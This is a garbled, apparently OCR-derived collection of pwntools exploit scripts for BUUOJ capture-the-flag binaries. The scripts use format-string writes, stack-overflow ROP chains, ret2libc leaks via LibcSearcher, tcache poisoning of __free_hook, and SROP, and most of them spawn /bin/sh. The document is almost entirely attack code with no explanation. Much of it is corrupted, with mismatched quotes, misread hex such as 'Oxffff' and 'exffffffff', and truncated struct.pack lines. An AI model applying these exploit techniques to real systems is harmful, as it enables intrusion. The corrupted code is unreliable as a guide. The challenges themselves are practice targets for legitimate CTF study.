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from pwn import *

context.log level='debug'
p=process('./fm")
p=remote("node3.buuoj.cn","27782")
payload=p32(0x0804202c)+"'%11%n"
p.sendline(payload)
p.interactive()
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bjdctf_2020_babystack

from pwn import *

context.log level='debug'
p=remote("node3.buuoj.cn","26592")
#p=process('./bjdctf 2020 babystack')
p.recvuntil('your name:\n')
p.sendline('100")

p.recvline()

payload="a'*0x10+'a"' *8+p64(0x4006e6)
p.sendline(payload)

p.interactive()
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from pwn import *

p=remote("node3.buuoj.cn","26143")

for i in range(200):
p.recvuntil("Please tell me:")
p.sendline("%"+str(i)+"$p"+".tmp")
print i*4,p.recvuntil(".tmp")

p.interactive()
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from pwn import *
p=remote("node3.buuoj.cn","27409")
start=0
text=""
try:
while True:
p.recvuntil("Please tell me:")
addr=0x08048470+start
print hex(addr)
payload="'%10%s.tmp +p32(addr)
p.sendline(payload)
p.recvuntil('Repeater:")
ret=p.recvuntil(".tmp")[:-4:]
start+=len(ret)
if len(ret)==0:
start+=1
ret="\x00"
text+=ret
print ret.encode("hex")
except Exception as e:
print e
finally:
with open('dump','wb') as fout:
fout.write(text)
p.interactive()
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from pwn import *
p=remote("node3.buuoj.cn","25182")

p.recvuntil("Please tell me:")

payload="'%10%s.tmp'+p32(0x0804a014)
p.sendline(payload)
p.recvuntil('Repeater:")
print_addr=u32(p.recv(4))

print hex(print_addr)
system_addr=print_addr+0x32940-0x49020
print hex(system_addr)
p.recvuntil("Please tell me:")

payloadl="1"'+p32(0x0804a014)+p32(0x08042016)+"'%"'+str((system_addr&Oxffff)-18)+"'c'+'%8%hn'+'%"'+str((system_addr>>
16) - (system_addr&oxffff))+'c'+'%9%hn’

p.sendline(payloadl)

p.recv()

p.sendline("';/bin/sh")

p.interactive()
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from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#context.log Level="debug'
p=process('./ciscn_final 2")
#p=remote( 'node3.buuoj.cn', '26720")
def add(typ,num):

p.recvuntil('>")
.sendline('1")
.recvuntil('>")
.sendline(str(typ))
.recvuntil( "number:")
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.sendline(str(num))

def show(typ):
p.recvuntil('>")
p.sendline('3")
p.recvuntil('>")
p.sendline(str(typ))

def dele(typ):
p.recvuntil('>")
p.sendline('2")
p.recvuntil('>")
p.sendline(str(typ))



add(2,9)
dele(2)
add(1,0)
dele(2)
show(2)
p.recvuntil("number :")
chunk_addr=p.recvuntil('\n")[:-1:]
chunk_addr=int(chunk_addr,10)&0xffff
add (2, chunk_addr+6x19)
add(2,0)
add(2,0x431)
for i in range(0x20):

add(2,1)
add(2,1i)
dele(1)
show(1)
p.recvuntil("number :")
leak_lib=p.recvuntil('\n")[:-1:]
main_arena=(int(leak_lib, 10)&exffffffff)-96
fileno=main_arena-0x3b4c40+0x3b4200+0x70
#fileno=main_arena-0x3b4c406+0x3b5760+0x70
add(1,fileno)
add(1,fileno)
dele(1)
add(2,0x10)
dele(1)
show(1)
p.recvuntil("number :")
chunk_addr2=p.recvuntil(‘\n")[:-1:]
chunk_addr2=int(chunk_addr2,10)&exffffffff
add(1, chunk_addr2-0x30)
add(1, chunk_addr2-0x30)
add(1, chunk_addr2-0x30)
add(1,666)

print hex(fileno-0x70)
print hex(fileno)

print hex(chunk_addr)
print hex(chunk_addr2)

#gdb.attach(p)
p.interactive()
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from pwn import *

context.log_level="debug"’

#p=process('./memory")

p=remote("node3.buuoj.cn","29430")

p.recv()

#gdb.attach(p, "b *0x0804863d")
payload=p32(0x080487e0)+'\x00"'+'a' *Oxe+'a' *4+p32(0x08048440)+p32(0x080487e0)+p32(0x080487¢0)
#payload="a"'*0x13+"'a ' *4+p32(0x08048440)+"'a’' *4+p32(0x080487e0)
p.sendline(payload)

p.recv()

p.interactive()

BN=T0 (3 73R X )_2018_rop

from pwn import *

context.log _level='debug'

#p=process('./2018 rop")
p=remote("node3.buuoj.cn","27351")

payload="a'*@x88+'a' *4+p32(0x080483a0)+p32(0x0804855d)+p32(1)+p32(0x804a000)+p32(4)+p32(0x080484c6)
p.sendline(payload)

read_addr=u32(p.recv(4))

system_addr=read_addr-0xa8910

bin_sh=read_addr+ox962af
payloadl="a'*0x88+'a'*4+p32(system_addr)+'a'*4+p32(bin_sh)
p.sendline(payloadl)

p.interactive()

levell

from pwn import *

context.log level='debug'
#p=process('./levell")
p=remote("node3.buuoj.cn","25440")
p.recvuntil("What's this:ex")
stack_addr=int(p.recv(8),16)

print hex(stack_addr)
#gdb.attach(p, "b *0x080484b1")
payload=asm(shellcraft.sh()).1ljust(0x88, '\x00"')+"'a"'*4+p32(stack_addr)
p.sendline(payload)
p.interactive()
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from pwn import

*

p=remote("node3.buuoj.cn","29785")

p.recvuntil('try to pwn it?\n')

payload="a'*0x10c+"a'*4

payload+=struct.
payload+=struct.
payload+=struct.
payload+= '/bin'
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.

payload+= '//sh

payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
payload+=struct.
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pack('<I",
pack('<I",
pack('<I",
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pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",
pack('<I",

p.sendline(payload)

p.interactive()

bjdctf_2020_babyrop

0x0806e9chb)
0x080d9060)
0x080a8af6)
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0x0806e9ch)
0x080d9064)
0x080a8af6)

0x08056285)
0x0806e9ch)
0x080d9068)
0x08056040)
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0x080d9060)
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#
#
#

#
#
#
#
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popedx ; ret
@ .data

popeax ; ret

mov dword ptr [edx], eax ; ret

popedx ; ret
@ .data + 4

popeax ; ret

mov dword ptr [edx], eax ; ret

popedx ; ret
@ .data + 8

xor eax, eax ; ret

mov dword ptr [edx], eax ; ret

popebx ; ret
@ .data

popecx ; popebx ; ret

@ .data + 8

padding without overwrite ebx

popedx ; ret
@ .data + 8
xor eax,

inc eax ; ret

inc eax ; ret

inc eax ; ret

inc eax ; ret

inc eax ; ret

inc eax ; ret

inc eax ; ret

inc eax ; ret

inc eax ; ret

inc eax ; ret

inc eax ; ret

int 0x80

eax , ret



from pwn import *

from LibcSearcher import *

context.log_level="debug"’
#p=process('./bjdctf 2020 babyrop')
p=remote("node3.buuoj.cn","27715")
elf=ELF("'./bjdctf_2020 babyrop')
p.recvuntil('story!\n")

payload="a'*0x20+'a' *8+p64(0x400733)+p64(elf.got| 'puts’'|)+pb64(elf.symbols| puts'])+p64(0x4006ad)
p.sendline(payload)

puts=u64(p.recv(6)+'\x00\x00")
libc=LibcSearcher('puts', puts)

system=puts-libc.dump( 'puts')+1libc.dump('system")
bin_sh=puts-1libc.dump( 'puts')+libc.dump('str_bin sh"')
payloadl="a'*0x28+p64(0x400733)+p64(bin_sh)+p64(system)
p.sendline(payloadl)

print hex(puts)

p.interactive()

ciscn_2019 es 1
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from pwn import *
context.log_level="debug"’
context.terminal = [ 'deepin-terminal’,
p=process('./ciscn_2019 es_1")
p=remote("node3.buuoj.cn","29935")
def add(size,name,call):
p.recvuntil("choice:")
.sendline('1")
.recvuntil( 'name\n")
.sendline(str(size))
.recvuntil('name:\n")
.send(name)
.recvuntil(‘call:\n")
.send(call)
def show(index):

T ©T T T T T T

p.recvuntil("choice:")
p.sendline('2")
p.recvuntil('index:\n")
p.sendline(str(index))
def dele(index):
p.recvuntil("choice:")
p.sendline('3")
p.recvuntil('index:\n")
p.sendline(str(index))
add(0x420, 'aaa', '000")
add(ex20, 'bbb", '111")
dele(9)
show(9)
p.recvuntil('name:\n")
main_arena=u64(p.recv(6)+'\x00\x00"')-96
malloc_hook=main_arena-0x10
libc_base=main_arena-0x3ebc40
free_hook=1ibc_base+0x3ed8e8
system=1ibc_base+0x4f440

dele(1)

dele(1)
add(0x20,p64(free_hook), '222")
add(0x20, '/bin/sh"', '333")
add(0x20,p64(system), "444")
dele(3)

print hex(malloc_hook)

print hex(free_hook)
p.interactive()

ciscn_2019 es 7

-X

'
]



from pwn import *
context.log_level="debug"’
#p=process('./ciscn 2019 es 7')
p=remote("node3.buuoj.cn","26325")
context.binary="./ciscn_2019 es 7'
payload="a' *0x10+p64(0x4004ed)
#gdb.attach(p)

p.send(payload)

p.recvuntil (' \x36\x05\x40\x00\x00\x00\x00\x00 ")
stack_addr=u64(p.recv(8))

print hex(stack_addr)
bin_sh=stack_addr-280
frame=SigreturnFrame()
frame.rax=0x3b

frame.rdi=bin_sh
frame.rip=0X400517

frame.rsi=0

frame.rdx=0
payloadl="/bin/sh\x00"'+"a'*8+p64(0x4004da)+p64(0x400517)+str(frame)
p.send(payloadl)

p.interactive()
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